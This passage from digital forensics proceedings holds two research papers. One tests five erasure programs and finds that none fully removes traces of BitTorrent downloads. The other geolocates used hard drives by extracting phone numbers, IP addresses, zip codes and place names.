The most common method of obtaining information in the form of multimedia files on the internet has been and continues to be through file sharing software (Karagiannis et al 2003), often referred to as P2P software. This type of software allows users to search for and obtain images, video files, software and music, be they legal or illicit. Music files, or MP3 as they are more commonly known, are of particular concern to some file sharers as various organisations seek to protect their intellectual property through legal action (Broucek and Turner 2004). In the case of illegal activity, individuals seek to remove evidence of their activities, and this is usually done through the use of commercial erasure software. Whilst these programs may remove the files themselves, and even evidence from internet browser programs, the introduction of third party software to perform the downloading creates other avenues for investigators to collect evidence. Use of file sharing software itself creates information in areas of the system, such as the registry and in user’s hidden folders that these erasure programs may not be written to deal with (Woodward 2005). However, these tags that are left behind can give vital information to anyone interrogating a seized computer, possibly revealing what file was downloaded and when.

One form of file sharing software that has been around since 2001, known as BitTorrent, is now the most popular means of downloading files from the internet, with data from as far back as November 2004 showing BitTorrent accounting for 35% of all internet traffic (Pasick 2004). There is evidence that usage of this software is increasing in some countries, and is the dominant software for use to download material from the internet in others (BBC 2005). BitTorrent is similar to its contemporary P2P software clients in that it is a decentralised means by which users can exchange information. The
difference with torrent exchange, or “streaming” as it is known, is that a file is broken down into much smaller fragments, and it is these fragments that are exchanged between many users. These fragments are normally stored as hashed segments on machines within the BitTorrent network. This type of technology is actually a very efficient means of allowing users to download files, and is being used by various organisations (Layman 2005; Linspire 2005) for legitimate purposes such as the distribution of software.

Previous studies have examined commercial erasure tools to examine their effectiveness at removing traces of internet activity, and found that these programs still left traces of various activities (Jones and Meyler, 2004). While some of these software products claim to remove traces of P2P activity by programs such as E-donkey, another P2P file sharing system, it is unknown whether this software is effective at removing traces of BitTorrent activities. Five commercially available erasure tools were selected to determine whether they can remove traces of torrent activity. These were R-Clean and wipe (RRT, 2005), Window Washer (Wenroot, 2005), MaxErase (Maxion Software, 2005), P2PDoctor (P2PDoctor, 2005) and Privacy Suite (CyberScrub, 2005). This research in progress paper examined the ability of these programs to remove evidence of torrent activity.

2. THE ERASURE PROGRAMS

Three different erasure programs varying in both claims and manufacturer were used for testing. Details of each and their claims to their ability to erase various activities are given here.

**R-Clean and Wipe - Version 5.1, Build 1169**

This erasure software is produced by R-Tools technology and the manufacturer makes the following claims about its software:

**R-Wipe & Clean** is a complete solution to wipe useless files and keep your computer privacy. Irretrievably deletes private records of your on- and off-line activities, such as temporary internet files, history, cookies, autocomplete forms and passwords, swap files, recently opened documents list, Explorer MRUs, temporary files, etc. and free up your disk space. The utility wipes files and unused disk space using either fast or secure erase algorithms. All files and folders may be combined in wipe lists to erase them in a single procedure. Supports both the FAT and NTFS file systems. All separate wiping and cleaning tasks can be combined in one or more erasing procedures launched immediately or at predefined times or events as a background task.

(RTT, 2005).

It is worth noting that this software does not specifically claim to erase evidence of either P2P or BitTorrent activity.

**Window Washer – Version 6, Build 6.0.2.466**

This software is produced by the Webroot Company and makes the following claims about its software:

**Extensive Wash Areas**

Window Washer scrubs hundreds of areas on your PC to remove unnecessary files to ensure your privacy and free up valuable disk space.

**Browser Activity Eraser**

Window Washer cleans all aspects of your browser activity, including Internet history, address bar, cache, cookies, and more. Mozilla and Firefox users now enjoy the same online privacy protection that users of Internet Explorer, AOL and Netscape already enjoy.
Permanent Bleaching
Bleach, an encryption feature, completely overwrites files with random characters to make them unrecoverable. This feature is so powerful it exceeds the tough standards of the Department of Defense and the National Security Agency.

Free Space Cleaner
Free space on your computer contains portions of old and previously deleted files and documents. Window Washer now cleans this area making the files you deleted earlier permanently unrecoverable.

One-click Shredder
Window Washer lets you simply and conveniently shred a folder and all of its contents, or just a single file, in one step. Just a simple right-click will permanently overwrites these files, making them unrecoverable.

Critical File Protection
Window Washer includes built-in safety features to help prevent you from accidentally removing important files. Alerts prompt you to confirm your request to delete special folders, like system folders, My Documents, My Photos, and others, so they remain safe from unintentional deletions.

Smart Cookie Saver
Window Washer deletes the cookies you don't want and lets you keep and save those you do. That way you maintain your preferred Internet settings and log-ins for all your favorite sites.

Flexible Washes
During a wash, Window Washer automatically cleans the latest versions of your favorite programs such as Real Player, Google Search Toolbar, iTunes, Macromedia Flash Player, Adobe Acrobat and hundreds more, to keep these programs running smoothly.

Automatic Wash Cycles
You can set Window Washer to automatically clean your system at specified intervals, like at shut down or start up. For added security, we recommend setting Window Washer to wash when you close your Internet browser.

Total System Erase
Window Washer can be set to fully erase your hard drive, files, programs and operating system for easy re-formatting. Consider using this feature if you're donating or selling your PC and you don't want your files to be seen by strangers.

(Webroot, 2005)

Again, while this product states that it erases all history of Internet activity, it makes no specific claims about either P2P or BitTorrent activity.

Privacy Suite – Version 4.0, Build 4.0.0.144
The manufacturer of this software, Cyberscrub, made the following claims about their software:

Key Features
Completely eliminates sensitive data from your computer: valuable corporate trade secrets, business plans, personal files, confidential letters, e-mail messages, Media
Player/Real Player history, Web browser tracks, AutoComplete, cookies, Recent Docs, Find/Run data, etc. Supports Internet Explorer, Netscape, Mozilla and Opera.

Peer2Peer- Erase all evidence from 22 popular applications such as KaZaA, iMesh, Morpheus and more.

Privacy Suite erases data by wiping its contents beyond recovery, destroying its name and dates and finally removing it from disk.

Meets and exceeds the U.S. Department of Defense standards for the permanent erasure of digital information (U.S. DOD 5220.22).

Wipe compressed files on NTFS (allows wiping from the original location of the file).

Scramble file names and folders- destroy file attributes from FAT or MFT partitions.

Offers wipe methods that can stop both software and hardware recovery tools from restoring the erased data.

Stealth mode.

Isaac Random Generating Algorithm.

Completely destroys any data from previously deleted files that might still be accessible on your disk (in the Recycle Bin, in the unused area of the disk or in the slack portion of existing files).

Destruction of file attributes from previously "deleted" files.

Integration with the Windows Recycle Bin: Privacy Suite can destroy the files contained in the Recycle Bin beyond recovery.

Integration with the Windows shell. You can drag files and folders from Explorer and drop them in Privacy Suite, or you can erase them directly from Explorer or My Computer, with a single mouse click.

Eliminate newsgroup binaries (photos) and chat room conversations and Instant Messages that are stored on your computer.

Erases folder structures (folders with all their subfolders and files) and even entire drives.

Delete "locked" Windows files, index.dat, the swap file and "cookies" that track your Internet history.

Cookie management allows you to keep selected cookies.

Privacy Suite can automatically clear the contents of folders that usually contain sensitive data (such as the Web browser cache, Temporary Internet files, the recent document list, the folder designated for temporary files, etc.).

Advanced features like verifying each wipe pass and each disk operation allow Privacy Suite to intercept any failures and inform you if data is not successfully erased.

The command line parameters allow you to insert erasing commands to your BAT files and then run this BAT file automatically using SystemAgent or other scheduling software.

USB flash mini/thumb drives.
Supports FAT12, FAT16, FAT32 and NTFS file systems, floppy, ZIP and Jaz drives.

(MaxScrub, 2005)

Max Eraser – Version 4.2
This product is created by Maxion Software and the following claims are made about its abilities in relation to P2P activity:

Peer to Peer History Eraser
Peer to peer Programs Supported:
  ▪ Kazaa Media Desktop
  ▪ Morpheus
  ▪ iMesh
  ▪ Bearshare
  ▪ Peer to Peer Histories erased
  ▪ Location Bar History
  ▪ Search history
  ▪ Cache files
  ▪ Cookies

(Maxion Software, 2005)

P2P Doctor – Version
This product is designed specifically to remove traces of P2P activity. The manufacturer, MadZ software, made the following claims:

MadZ P2P Doctor 2.0 removes all adware, spyware, popup ads, banner ads, and other third party software from the popular Peer To Peer (P2P) file sharing programs Kazaa Media Desktop, Morpheus, iMesh, Bearshare, Limewire, and Warez P2P without rendering the software unusable. In fact, P2P Doctor will scan your system for thousands of types adware, spyware, etc., and remove it if it is found. Now you can use these programs without the annoying third party software they install on your system. P2P Doctor also corrects any problems created in your Windows registry by this third party software.

Other features include a stealth option to protect against unauthorized access to P2P Doctor by third party applications that may try to disable it, a P2P history cleaner to remove all remnants of P2P activity from your system, a backup before remove option to allow you to restore items removed by P2P Doctor, and a built in download accelerator. This makes P2P searches faster and improves results. You even get automatic regular updates of P2P Doctor so you can keep your system cleaned of any new adware, spyware, or malware that may get added to the file sharing programs.

(P2PDoctor 2005)

3. METHODOLOGY

PC setup and Torrent Software
A PC was imaged with Microsoft Windows XP, service pack 2, and the latest Windows updates. The BitTorrent client “Azureus” (version 2.3.0.4), an open source program, was downloaded and installed
As part of this install, the latest Java run-time environment (JRE) version 1.5.0 was also installed (Sun Microsystems, 2005). After successful installation, a download of two legal files was commenced using the Azureus program. At this point, the drive was imaged as the datum so that the three erasure programs could be used.

**Torrent files used for this research**

In order to make sure that no intellectual property or copyright laws were violated, torrent files were obtained that are covered under the creative commons license. These are files can be freely downloaded and exchanged, so long as no fees or monies are charged.

Details of the files used to perform the BitTorrent downloads were as follows:

- Observatory Online Archives – Volume 1:
- Lawrence Lessig – Free culture:

The first of these was a collection of MP3 music files, and the second a book title.

**Procedure**

The first step was to install one of the erasure programs, use it to erase Internet and downloading activities with its default settings. Additionally, the files themselves were deleted and the recycle bin forensically erased. Following this, the drive was imaged using dd on the Helix 1.6 Linux bootable CDROM, and MD5 hashes of both the source drive and image files were created and compared for consistency. The registry of the source machine was examined to determine whether there were traces of BitTorrent activity still remaining. The Windows search utility was used to search for the file names of the programs downloaded using Azureus to find information. It was set to look for hidden files and folders under the advanced settings.

At this point, the hard drive was securely erased, and the image containing torrent software and torrent activity was reinstalled on the PC, and a different erasure program was used. The examination process was also repeated.

All erasure software was run with its default settings. The reason for this was that the aim of this research was to determine what the programs themselves would erase. By altering settings from the default, the level of knowledge of the researcher would influence what activities the erasure tools removed.

**4. RESULTS**

**R-Clean and Wipe**

This program did not remove any traces of torrent activity from the test machine. The actual files downloaded and the torrent file itself which pointed to the downloaded files was also not erased (Figure 1). A search of the registry of this machine gave information relating to the exact files that were downloaded (Figure 2). In addition, the torrent files were still available in a hidden folder in documents and settings for the user.
Conference on Digital Forensics, Security and Law, 2007

Figure 1 – The torrent file linked to the download still remained after “erasure”

<table>
<thead>
<tr>
<th>Name</th>
<th>Type</th>
<th>Data</th>
</tr>
</thead>
<tbody>
<tr>
<td>AZ2U52205.tmp</td>
<td>REG_SZ</td>
<td>(value not set)</td>
</tr>
<tr>
<td>freeculture.zip[1].torrent</td>
<td>REG_SZ</td>
<td>C:\Documents and Settings\Administrator\Desktop\Azureauz2.3.0.4_Win32_...</td>
</tr>
<tr>
<td>observatory-online-archives-vol-1.zip[1].torrent</td>
<td>REG_SZ</td>
<td>C:\Program Files\Azureauz\freeculture.zip</td>
</tr>
<tr>
<td></td>
<td>REG_SZ</td>
<td>C:\Program Files\Azureauz\observatory-online-archives-vol-1.zip</td>
</tr>
<tr>
<td></td>
<td>REG_SZ</td>
<td>C:\Documents and Settings\Administrator\My Documents\My Pictures\wipe ...</td>
</tr>
<tr>
<td></td>
<td></td>
<td>edd8c</td>
</tr>
</tbody>
</table>

Figure 2: Evidence of the torrent activity was still found in the registry after using R-wipe and clean.

**Window Washer**

Whilst this program claims to remove evidence of P2P activity, it did not remove any evidence of the BitTorrent downloading. As with the previous software, R-wipe and clean, evidence still remained in both the files and in the registry of the test machine (Figure 3).

Figure 3: The torrent files used to download the test files were still found on the hard drive, without the need for forensic analysis
Privacy Suite

Another package that listed removal of P2P activity on its web site, but did not remove all traces of torrent activity. Unlike the previous two packages, this program did remove evidence from the registry, but again did not remove the torrent files, or the downloaded files (Figure 5).

MaxEraser

As for the previous program, Privacy Suite, this software removed the evidence of P2P activity from the registry, but not from the hidden Application data folder. Figure 6 Shows the files downloaded that still remained.
P2PDoctor

As with the previous two utilities, registry evidence was eliminated, but Application data folder torrent files were not (Figure 7). Of greater concern was that this program did not remove the web link that was used to locate and download the files used.

![Figure 7: The erasure program P2PDoctor also left both the name of the file, and the web site from where the file was obtained in the Application Data folder](image)

5. DISCUSSION

Removal of Torrent activity

This research in progress found that all five programs were deficient when it came to cleansing the PC of BitTorrent activity. Forensic analysis with Autopsy (SleuthKit 2005) was not deemed necessary as for all programs, location of a simple file, and in two cases a simple keyword based registry search, revealed that the computer in question had been used to download files. Further to this, the names of these files were also recoverable. It is worth pointing out again that these programs were used with their default settings. It is likely that some of them may be configurable to remove traces of torrent activity. However, this would require in depth knowledge of where the files and traces of torrent activity reside on the machine. If a user already knows where this information is, then they would not be resorting to using an erasure program to remove it.

The only other option open to a user who does not have the technical knowledge to locate these tags and remove them would be to securely erase an entire drive. A recent investigation by Valli and Patak (2005) has shown that the advent of larger hard drives has made this a very time consuming task, and not something that could be done with any expediency should the need arise. Even directed erasure of large Bittorrents such as CD or DVD image files would take several hours in some cases to erase beyond possible forensic recovery.

P2P Specific Programs

None of the programs which claimed to remove evidence of Torrent activity actually removed the torrent link created by Azureus. Of particular concern was that the program P2PDoctor did not even remove the link from where the torrent was obtained. Such information would greatly aid a forensic investigator by providing more information about a file that a user had deleted. It appears that while these programs have settings to remove P2P evidence, they only do so for particular programs, none of which are BitTorrent clients, and some of which have been closed down (Ferguson, 2005). For example, the program MaxEraser will remove evidence of files downloaded with the P2P programs as shown in Figure 8. The software P2PDoctor had a similar list of applications that it will erase. Further, these P2P applications that the programs claim to erase are based on earlier versions of file sharing software such as eDonkey and Kazaa. These programs, while still in use, are not as popular as the BitTorrent clients that now account for a significant amount of the total traffic on the internet (Pasick, 2004). It is surprising that these programs do not cater for BitTorrent applications as they have been in use since 2002 (Schiesel, 2004). They may be other considerations in relation to the functioning of these BitTorrent clients that makes effective removal difficult.
Figure 8: P2P Applications for which MaxEraser provides erasure facilities

Forensic Analysis
This investigation found sufficient evidence of torrent activity with basic searches. It would be interesting to find out what further information that the forensic analysis utility Autopsy would find. From experimentation, it appears likely that the information that is removed by these programs is simply deleted and not forensically erased and full recovery would be possible.

However, as previously indicated, recovery via forensic analysis software and techniques are moot as the erasure software is defective in the deletion of even a small number of files or registry keys relating to the BitTorrent activities. This research has tested a sparse scenario where a small amount of files have been downloaded onto the client. Forensic recovery techniques could be of some benefit in a typical use scenario where a user may have downloaded several hundred files as none of the erasure software did as specified. To effect proper erasure, at least 3 wipes of the drive area containing the file using a pseudo-random sequence would be needed. This level of erasure is most probably not undertaken by these tools and never will as many BitTorrents are CD or DVD image files that are 0.6 to 4GB in size. These larger sizes mean that a considerable amount of time to effect a forensic erasure would be needed even on today’s high speed drive architectures such as SATA (Valli & Patak 2005).

6. CONCLUSION
Currently available internet erasure software, regardless of whether it claims to remove traces of P2P activity or not, does not do so completely. Simple searches of the registry and hard drives found evidence showing what files had been downloaded. Efficacy of different erasure software ranged from no removal of torrent file information, through to removal of some of the evidence. These programs do
not make a distinction between different types of P2P activity, leading to the difference in their erasure abilities.

Further research will be conducted to examine other erasure software to determine its effectiveness in performing the same task. Also, other BitTorrent download client software will be examined to determine what other information may or may not be left behind that could be found by forensics examiners and used as evidence. This research will be used to develop a framework or classification of current BitTorrent clients for use in forensics investigations. There is also scope to determine whether, with modification from the defaults, these programs can be made to remove evidence of torrent activity. More in-depth examination of the hard drives using forensics analysis software to find out whether other evidence still exists will be a part of any further research.

7. REFERENCES:


Computer Geolocation Using Extracted Features

Chad M.S. Steel  
Virginia Polytechnic Institute and State University  
Falls Church, VA USA  
csteel13@vt.edu

ABSTRACT

This paper compares the extracted feature data from a sample set of hard drive images in an effort to relate the features to the physical location of the drive. A list of probable zip codes, phone numbers, place names, and IP addresses are extracted from raw drive images and compared to manually identified geolocation data. The results of the individual extractions are then analyzed to determine the feasibility in using automated extraction and analysis techniques for geolocating hard drives.

Keywords: hard disk forensics, geocoding, geolocation

1. INTRODUCTION

This paper compares extracted feature information to manually identified physical drive location from a series of hard drive images to evaluate the ability of different features to predict the physical location of that drive. The determination of the geographic locations of interest on a hard drive can be used to track the travel of a drive, identify locations associated with the drive's primary users, and find locations of interest to the users of the drive. Through the extraction of key location features in an automated fashion from hard drive images, we are able to provide a probable primary location for the computer in which the drive was located with varying degrees of accuracy.

Initially, each drive image is manually reviewed to identify its primary location, followed by an automated analysis of each drive. The first automated step is the use of feature extraction to pull out information of interest, followed by the geocoding of that information. The geocoded information is then analyzed for patterns that would uniquely identify drive location. A comparison is then made between the extracted features to determine the feasibility of using each feature type for geolocation.

2. RELATED WORK

Forensic feature extraction was used by Garfinkel to extract large amounts of string data from drives using regular expressions. Garfinkel’s work focused on privacy-based data and financial information, but the concept of reduction through string pre-processing is useful and not specific to the features he extracted (Garfinkel 2006).

Exploitation of IP address (and hostname information) was done successfully by Buyukokkten and McCurley on a local level. They utilized whois lookups to build a database of IP address location information which they then applied to a set of web pages (McCurlley 2001; Buyukokkten et al. 1999).

Relation of the geodata through contextual parsing was shown as effective by Li, who successfully used context data to perform disambiguation, e.g. Springfield MO v. Springfield, NJ (Li et al. 2002).

Mapping of key place names has been successfully done using the geolocation lists from the extractions of US Census Data in the 2000 Gazetteer as performed by US Government (US Census Bureau 2000). Place name, area code, zip code, and latitude/longitude have been correlated in the GeoLite database (MaxMind 2006).

IP address information has been successfully mapped by IP2Location (IP2Location 2006) as well as GeoLite (MaxMind 2006). Additionally, information on network address translation was presented in the original proposal for removal of non-public IP addressing (Tsuchiya 1993).
3. DATASET

A set of thirty six hard drive images was used as the initial dataset for the research. The drives were all purchased on eBay and contain varying amounts of user data which is used for geographic feature extraction. Each drive has been manually verified to have at least one partition with data present to eliminate “wiped” drives. The drive partitions each have at least one FAT or NTFS partition.

The drives images used range in size from 300MB to 40GB. The drives are converted into raw disk images using dd, and stored as image files on a drive array. Searching the drives is done at a physical level (as opposed to logical) using command-line tools in a Windows XP environment. All of the drives were parallel ATA (PATA) technology, 3.5” drives. The majority appeared to have come from home computers, though a few were clearly used for business storage.

4. METHODOLOGY

4.1 Overview

Each of the drive images obtained was imaged and then a series of feature extractions and validations was performed in an automated fashion. Simultaneously, a manual review of each image file was performed to provide a check value for the extracted geographic information. The overall methodology is shown in Figure 1.

![Methodology for drive image geolocation extraction](image)

Fig 1. Methodology for drive image geolocation extraction
For the automated analysis, an initial feature extraction first extracts raw strings then uses grep-based regular expressions to parse out values of interest. Then a validation routine is run on each extracted feature to remove unwanted artifacts and compare the data with known-valid geographic values. Finally, the individual values for each image file are examined to find patterns indicative of geographic location.

For the manual review, each image file is loaded into a forensic tool and reviewed manually for indicators of its original physical location. Physical location names, email origination points, and IP addresses are used to identify a likely origin for comparison with the automated results.

4.2 Initial Feature Extraction

For each drive in the experimental corpus, a feature extractor is run. The feature extraction uses the same approach as that used by Garfinkel (Garfinkel 2006), but with a different set of extraction expressions:

1. Initially, text strings of size four or greater are extracted and stored as intermediary text files to speed the actual processing. The average ratio of image size to extracted text was 9.24 to 1, allowing for an almost tenfold increase in followup query speed.

2. A series of regular expressions are used to extract text which matches the following feature profiles:
   
   A. Zip Codes. Any 5 digit number which is not embedded in a longer string of numbers and/or letters is extracted.
   
   B. Phone Numbers. Numbers fitting the format (xxx)xxx-xxxx, with or without parentheses and dashes are extracted.
   
   C. IP Addresses. Any series of numbers w,x,y,z between 0 and 255 that fits in the pattern w.x.y.z is extracted.

3. A set of proper nouns is extracted from the text files for geographic lookups. These are extracted by finding strings which begin with a capital letter and contain at least four characters (to reduce the noise created by smaller, randomly occurring strings.) Strings which start a sentence are then removed. This has the potential to remove actual place names, as in the sentence “Springfield is the greatest town on earth,” but their removal greatly reduces the number of false positives (proper nouns that don’t relate to place names.)

4.3 Feature Validation

Following the initial feature extraction, secondary validation on the remaining values is performed and the validated values are loaded into a database. The following individual validations were performed:

1. Zip Codes. No feature validation was performed on zip codes. The zip codes were linked to specific location codes from (MaxMind 2006).

2. Phone Numbers. The individual area codes associated with the phone numbers were extracted for geographic region information. These area codes were compared to valid area codes from (Madison 2006) and those were linked to specific location codes from (MaxMind 2006).

3. IP Addresses. Each IP address was validated to remove any quads with leading zeros (e.g. 02.03.04.05) and any reserved use addresses (IANA 2002) were discarded. IP address geolocation was obtained from (MaxMind 2006) to find location codes for each IP address.

4. Proper Nouns. All of the proper nouns were processed for stopword removal (Fox 1989) and any very long words (greater than twenty characters) were removed. The remaining words were compared to (US Census Bureau 2000) to obtain location information.
After validating each of the features, histograms of each feature on a per-image basis were made and a cross-image analysis of each was performed to identify commonalities (which would likely be unsuitable for drive location identification if used.)

4.4 Manual Location Identification

Simultaneous with the feature extraction, each of the images was loaded into the AccessData Forensic Toolkit (FTK), an analysis tool used in digital investigations. For each of the drive images, the files present were indexed and the following information used to make a likely determination of the computer location using a manual analysis:

1. Time zone/clock settings.
2. IP address settings (if it did not use Network Address Translation)
3. Email message origination locations.
4. Locations mentioned in resumes, address books, and other logical documents.

The most likely value from the above analysis is stored and compared to the automated analyses to determine a distance deviation.

5. RESULTS

The initial results appear promising for area code and IP address extraction, but zip code and proper noun extraction show excessive noise. Additional techniques for improving each of the four extraction types are presented in the Future Work section which follows.

The raw results and analysis for the four data types used are detailed below.

5.1 Manual Review

A manual review of the drives was performed using AccessData’s Forensic Toolkit. The imaged drives were originally analyzed for time zone/clock settings, IP address settings, email message origins, and addresses listed in text.

Of the drives analyzed manually, 36%, or 13 drives, could not be accurately geolocated with a simple manual analysis. Of these drives, the following were determined to be the reasons for not being able to accurately geolocate the drives manually:

- 2 drives were found to be storage drives for business data on internal servers (and were not “personal” drives).
- 3 drives had no “fresh” installations of an OS and had their drives wiped clean. The “fresh” installations were of older operating systems with no location data provided.
- 5 of the drives had no local network or Internet connectivity and contained no personal correspondence.
- 3 drives had multiple phone books but no discernable patterns in them to identify location.

The origin of purchase for the drives was originally thought to be a good indicator of geolocation, but further review showed inconsistent correlation between the purchase location and the actual location of use for the drives that could be identified.

As an outcome of the automated analysis, one of the best determinants for manual drive location identification turned out to be the phone number settings for dial-up service providers (like America Online), which are set to local numbers for cost reasons. In addition to Windows dial-up settings, error logs and dialing logs were good sources for this data. Time zone settings were too vague to be of direct use.

IP address settings were useful in drives that did not use private IP addresses, but due to the age of the drives...
(the average age was 5 years old) many of them came from systems that pre-dated the home networking explosion that arrived with inexpensive broadband. The same lack of connectivity effected the manual identification using email message originations (when no email messages were present).

Finally, the use of locations mentioned in logical documents turned out to be a double-edged sword. The proliferation of large address lists obscured the ability to identify unique locations in three cases, and the presence of computer-generated phone books altered the results for some of the automated techniques below. The results of the manual review are shown in Figure 2.

![Manual Identification Issues](image)

**Fig 2. Manual review results**

### 5.2 Zip Code

The zip code extraction was performed by searching for strings of numbers as noted above. Each of these numbers was initially assumed to be a zip code for analysis purposes. Assuming evenly distributed, random data (and an ASCII character set), approximately four percent of characters would be numeric. Given that, a five digit string of numbers such as a zip code should appear approximately 91 times per gigabyte. Constrain the same string by the rules used above - the preceding character is a space, comma or period and the following character is a space, period, or dash – and the rate goes down to approximately one occurrence per 100 gigabytes.

The drive data showed a significantly greater rate of occurrence for zip code-like strings than random data. Specifically, a mean occurrence rate of 14,515 per gigabyte with a standard deviation of 10,864 was found. This rate appeared to be promising for the extraction of data, but significant signal to noise ratio problems were identified. The normalized frequencies for the top fifty occurring zip codes are shown in Figure 3. As seen, there is an exponential decay in the rates of occurrence. To eliminate the influence of the highest ranked value, new frequencies are calculated for the remaining values and an exponential decay is still evident as seen in Figure 4.

The top occurring strings meeting the zip code criteria are likely not zip codes. Table 1 shows the top 10 zip code values and their number of occurrences. As seen, the highest ranked zip code is the number 00000, which does not map to an actual map address. Similarly, the remainder of the top ten zip code matches contain other false positives. The number 65537 is a frequent stop number used by programmers (216 + 1), and the remaining numbers are all modem frequency pre-sets.
Even if the top n zip codes are removed, the remaining zip code data is filled with noise. For the sample set of drives used, over thirty three thousand distinct zip code number matches were identified with no clustering in the distribution – without discernable clusters even after noise reduction their value for geolocation is poor.
Zip Code Match | Number
--- | ---
00000 | 209941
65537 | 16806
14400 | 16144
28800 | 10751
99999 | 8911
19200 | 6697
12000 | 6575
33600 | 5972
21600 | 5804
16800 | 5726

Table 1. Common Zip Code matches

### 5.3 Phone Numbers

The use of phone number formatted strings is highly unlikely for non-phone number use, and the odds of random occurrence are negligible given the size of the drives in the dataset. Because this, the string match for a phone number is more precise than that of a zip code. As such, phone numbers provide a more likely candidate for geolocation of hard drives.

The occurrence rate of phone numbers on the drive images in the test set was 534 per gigabyte. This provides a large enough sample set for geolocation. Additionally, the non-valid area codes are easy to eliminate – a simple listing of valid area codes can be used. Doing area code validation removed 32 percent of the initial area code values identified, a significantly lower percentage than found with zip codes. Additionally, most of the removed area codes appeared to be part of sample phone numbers, with (000)000-0000 and similar numbers appearing frequently in the removed numbers.

An analysis of area code distribution showed the potential for easy post-processing. Specifically, area code 800 (which has no geolocation value) appeared in all of the drives examined, and area code 206, which is the area code for Seattle, Washington appeared in all of the drives examined with Windows installed. By removing the non-location area code phone numbers such as 800, 888, and 877, and removing those with no discrimination ability, which are only area code 206 numbers in this case – all others have document frequencies below .75 – the remaining numbers can be used to geolocate the drives.

After the area code cleansing above, 61% of the drives were able to be identified by the primary area code extracted – confirmed as those that were directly related to the area code determined by manual analysis (or a same-location geographic overlay area code). The percentage identified is much greater than random, and with enhancement provides a good candidate for geolocation of hard drives. The drives which could not be manually geolocated were not included in the above, but are shown in Figure 5.
For the drives which were not identifiable directly by area code, there were no “near miss” numbers. A near miss would be defined as an adjacent area code or one with a nearby geographic proximity, an example would be 212 and 973 – a New York City area code and a northern New Jersey area code. All of the drives which were misidentified were due to non-geographic reasons.

The most common reason for drive misidentification was the presence of a large number of phone numbers in a single file. The files included dial-up number lists for large Internet Service Providers in two of the cases (one for MSN and one for IOHK), two electronic phone books, and one file which contained a large amount of sample data that had a different area code. These problems could be eliminated by application of a weighting function based on area codes identified and the files in which they are present. A simple alteration in the calculations to apply a weight based on the total number of phone numbers in the file would have eliminated the non-sample data. The sample file could have been eliminated through the removal of positive hash hits using the NIST National Software Reference Library (NSRL) hashes or a similar hash set (NIST 2006).

Other failures in area code-based geolocation were identified that can easily be handled in future work. Two images had a single file duplicated multiple times (and in both cases it was a known-hash file as above). One drive had a file that contained a large number of sample phone numbers in the XXX-555-XXXX format. Removing invalid “555” numbers would eliminate this situation. Finally, one drive had too few phone numbers to form an accurate identification profile (twenty total phone numbers were found).

### 5.4 IP Addresses

IP addresses were identified using a two-step process. The initial regular expression used identified four strings of one, two, or three numbers separated by periods. A post-processing step using PERL confirmed the values in the strings were valid for IP addresses and further sorted the IP’s into public and private addresses. The two-step process was implemented to avoid using an overly-complex regular expression. Less than 2% of the numbers identified using the simple regular expression were found to be invalid IP addresses, and those that were identified tended to be version numbers for application, for example 1.0.0.601.
Using IP addresses to geolocate a drive relies on two factors – users accessing local IP addresses more frequently (DNS servers, dial-up addresses, routing information) than distant IP’s, and users having access to public IP addresses. The separation in the initial identification process above concluded that 48% of the valid IP addresses extracted were private and/or reserved IP addresses and thus not suited for geolocation. With the large number of systems still using dial-up from the sample set, this implies many dial-up providers made use of a private address space for their modem pools.

Of the images examined, only 9% of those drives manually identified were able to be matched via IP address. While greater than random, the identification percentages were still low. An analysis of the misses showed no geographic correlation.

The miss analysis identified 28% of all IP address matches resolved to Microsoft, skewing the results for Washington-located area codes. Removing the Microsoft IP addresses, the number of matches rises to 28%. Of those that did not match, the most common reason appears to be drives with little or no connectivity. Without a network connection, the only IP addresses present are those hardcoded into the operating system. A listing of the IP addresses found on more than 75% of the drives is shown in Table 2 below.

The second most common reason for failure was a large number of IP address hits on the same address space not being grouped (as they were different IP’s) – a more effective algorithm would find the most common area code, weighted by the number of occurring IP’s on a per-block basis. A listing of the uncorrected reasons for failure is shown in Figure 6 below.

The results of IP address geolocation are less promising than that of the area code analysis, but further work with a more broadband-centric sample set may yield more useful results.

<table>
<thead>
<tr>
<th>IP Address</th>
<th>Occurrence Frequency</th>
</tr>
</thead>
<tbody>
<tr>
<td>102.54.94.97</td>
<td>1.00</td>
</tr>
<tr>
<td>38.25.63.10</td>
<td>1.00</td>
</tr>
<tr>
<td>102.54.94.102</td>
<td>0.97</td>
</tr>
<tr>
<td>102.54.94.123</td>
<td>0.97</td>
</tr>
<tr>
<td>11.11.12.13</td>
<td>0.97</td>
</tr>
<tr>
<td>102.54.94.117</td>
<td>0.97</td>
</tr>
<tr>
<td>101.2.1.1</td>
<td>0.90</td>
</tr>
<tr>
<td>157.54.23.41</td>
<td>0.87</td>
</tr>
<tr>
<td>198.105.232.1</td>
<td>0.84</td>
</tr>
<tr>
<td>198.105.232.6</td>
<td>0.77</td>
</tr>
</tbody>
</table>

Table 2. IP Addresses Appearing in Multiple Drives
5.5 Proper Nouns

The use of a commercial geotagger like MetaCarta’s product (MetaCarta 2006) to extract geographic place names was not feasible given the large size of the dataset (and would be computationally infeasible even on a modest array of a few terabytes.) Instead, a simpler extraction of proper nouns was used to determine the feasibility of a more advanced approach.

The secondary extraction of proper nouns from the string data yielded too many results. To reduce the resultant data, any proper nouns found at the beginning of sentences, which were not likely to be geographic place names, were eliminated. The remaining proper nouns were extracted and further reduction performed.

A tertiary reduction was performed on the proper nouns extracted to further reduce the size of the data. Smaller words, those that were three characters or less, were removed. Additionally, words larger than twenty characters were removed. Twenty six percent of the proper nouns extracted were under four characters in size, but a negligible amount (less than a tenth of a percent) was over twenty characters. After reduction, approximately eighty one million words remained.

Of the proper nouns identified, approximately two million unique words were found. There were a large number of common words identified – as shown in Table 3, the most common words appear to be programming related. The distribution of proper nouns appears to be Zipfian as shown in Figure 7. An additional complication with proper nouns is their discrimination power – over nine hundred individual proper nouns appeared in every disk image.
Of the proper nouns initially identified, the majority did not appear to have geographic place information. Once the non-geographic names were removed through comparison to a geographic dictionary, the remaining terms were evaluated for their geolocation value. As can be seen in Table 4 below, none of the top ten matches yield significant place information and are false positives. The majority of the names correlate with coding terms too strongly to be accurate place names, and none match the manual analysis place name findings.
Given the large number of occurrences of false-positive place name nouns, the expected signal-to-noise ratio would be too low to be useful. If the number of place nouns were of the same magnitude as that found in phone numbers, the expected ratio would be below .01, and direct mapping would not be possible. In addition to the false positives based on unusual place names, there were many false positives based on creative naming within Windows. Names like Verdana and Vista exist as operating system names as well as place names, and other names like Redmond appear too frequently based on their inclusion in file comments.

<table>
<thead>
<tr>
<th>Location Noun Match</th>
<th>Number</th>
</tr>
</thead>
<tbody>
<tr>
